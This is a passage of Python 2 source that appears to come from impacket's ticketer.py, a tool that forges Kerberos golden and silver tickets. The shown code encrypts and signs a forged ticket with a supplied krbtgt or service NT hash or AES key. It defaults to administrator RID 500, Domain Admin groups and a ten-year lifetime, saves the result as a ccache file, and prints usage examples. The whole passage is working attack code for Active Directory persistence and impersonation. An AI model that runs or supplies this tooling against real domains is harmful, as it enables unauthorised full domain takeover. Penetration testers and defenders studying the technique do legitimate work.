_enctype_table[kdcRep['ticket']['enc-part']['etype']] 639 if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: 640 key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) 641 elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: 642 key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) 643 elif cipher.enctype == EncryptionTypes.rc4_hmac.value: 644 key = Key(cipher.enctype, unhexlify(self.__options.nthash)) 645 else: 646 raise Exception('Unsupported enctype 0x%x' % cipher.enctype) 647 648 # Key Usage 2 649 # AS-REP Ticket and TGS-REP Ticket (includes TGS session 650 # key or application session key), encrypted with the 651 # service key (Section 5.3) 652 logging.info('\tEncTicketPart') 653 cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None) 654 655 kdcRep['ticket']['enc-part']['cipher'] = cipherText 656 kdcRep['ticket']['enc-part']['kvno'] = 2 657 658 # Lastly.. we have to encrypt the kdcRep['enc-part'] part 659 # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) 660 encodedEncASRepPart = encoder.encode(encASorTGSRepPart) 661 662 if self.__domain == self.__server: 663 # Key Usage 3 664 # AS-REP encrypted part (includes TGS session key or 665 # application session key), encrypted with the client key 666 # (Section 5.4.2) 667 sessionKey = Key(cipher.enctype, str(encASorTGSRepPart['key']['keyvalue'])) 668 logging.info('\tEncASRepPart') 669 cipherText = cipher.encrypt(sessionKey, 3, str(encodedEncASRepPart), None) 670 else: 671 # Key Usage 8 672 # TGS-REP encrypted part (includes application session 673 # key), encrypted with the TGS session key 674 # (Section 5.4.2) 675 sessionKey = Key(cipher.enctype, str(encASorTGSRepPart['key']['keyvalue'])) 676 logging.info('\tEncTGSRepPart') 677 cipherText = cipher.encrypt(sessionKey, 8, str(encodedEncASRepPart), None) 678 679 kdcRep['enc-part']['cipher'] = cipherText 680 kdcRep['enc-part']['etype'] = cipher.enctype 681 kdcRep['enc-part']['kvno'] = 1 682 683 if logging.getLogger().level == logging.DEBUG: 684 logging.debug('Final Golden Ticket') 685 print kdcRep.prettyPrint() 686 print ('\n') 687 688 return encoder.encode(kdcRep), cipher, sessionKey 689 690 def saveTicket(self, ticket, sessionKey): 691 logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) 692 from impacket.krb5.ccache import CCache 693 ccache = CCache() 694 695 if self.__server == self.__domain: 696 ccache.fromTGT(ticket, sessionKey, sessionKey) 697 else: 698 ccache.fromTGS(ticket, sessionKey, sessionKey) 699 ccache.saveFile(self.__target.replace('/','.') + '.ccache') 700 701 def run(self): 702 ticket, adIfRelevant = self.createBasicTicket() 703 if ticket is not None: 704 encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) 705 ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos) 706 self.saveTicket(ticket, sessionKey) 707 708if __name__ == '__main__': 709 # Init the example's logger theme 710 logger.init() 711 print version.BANNER 712 713 parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on " 714 "user options") 715 parser.add_argument('target', action='store', help='username for the newly created ticket') 716 parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will' 717 ' be generated for. if omitted, golden ticket will be created') 718 parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' 719 'changing only the supplied information. It requires specifying -user') 720 parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)') 721 parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be ' 722 'generated for') 723 parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' 724 '(128 or 256 bits)') 725 parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') 726 parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' 727 'groups user will belong to (default = 513, 512, 520, 518, 519)') 728 parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 729 'created for (default = 500)') 730 parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') 731 parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' 732 '(default = 365*10)') 733 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 734 735 group = parser.add_argument_group('authentication') 736 737 group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' 738 'different from domain/username') 739 group.add_argument('-password', action="store", help='password for domain/username') 740 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 741 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 742 'ommited it use the domain part (FQDN) specified in the target parameter') 743 744 if len(sys.argv)==1: 745 parser.print_help() 746 print "\nExamples: " 747 print "\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n" 748 print "\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4." 749 print "\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256" 750 print "\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as" 751 print "\tbaduser.ccache.\n" 752 print "\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain " \ 753 "<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n" 754 print "\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used" 755 print "\tas template for customization. Whatever encryption algorithms used on that ticket will be honored," 756 print "\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'" 757 print "\tand saved as baduser.ccache" 758 sys.exit(1) 759 760 options = parser.parse_args() 761 762 if options.debug is True: 763 logging.getLogger().setLevel(logging.DEBUG) 764 else: 765 logging.getLogger().setLevel(logging.INFO) 766 767 if options.domain is None: 768 logging.critical('Domain should be specified!') 769 sys.exit(1) 770 771 if options.aesKey is None and options.nthash is None: 772 logging.error('You have to specify either a aesKey or nthash') 773 sys.exit(1) 774 775 if options.aesKey is not None and options.nthash is not None and options.request is False: 776 logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') 777 sys.exit(1) 778 779 if options.request is True and options.user is None: 780 logging.error('-request parameter needs -user to be specified') 781 sys.exit(1) 782 783 if options.request is True and options.hashes is None and options.password is None: 784 from getpass import getpass 785 password = getpass("Password:") 786 else: 787 password = options.password 788 789 try: 790 executer = TICKETER(options.target, password, options.domain, options) 791 executer.run() 792 except Exception, e: 793 if logging.getLogger().level == logging.DEBUG: 794 import traceback 795 traceback.print_exc() 796 print str(e) 797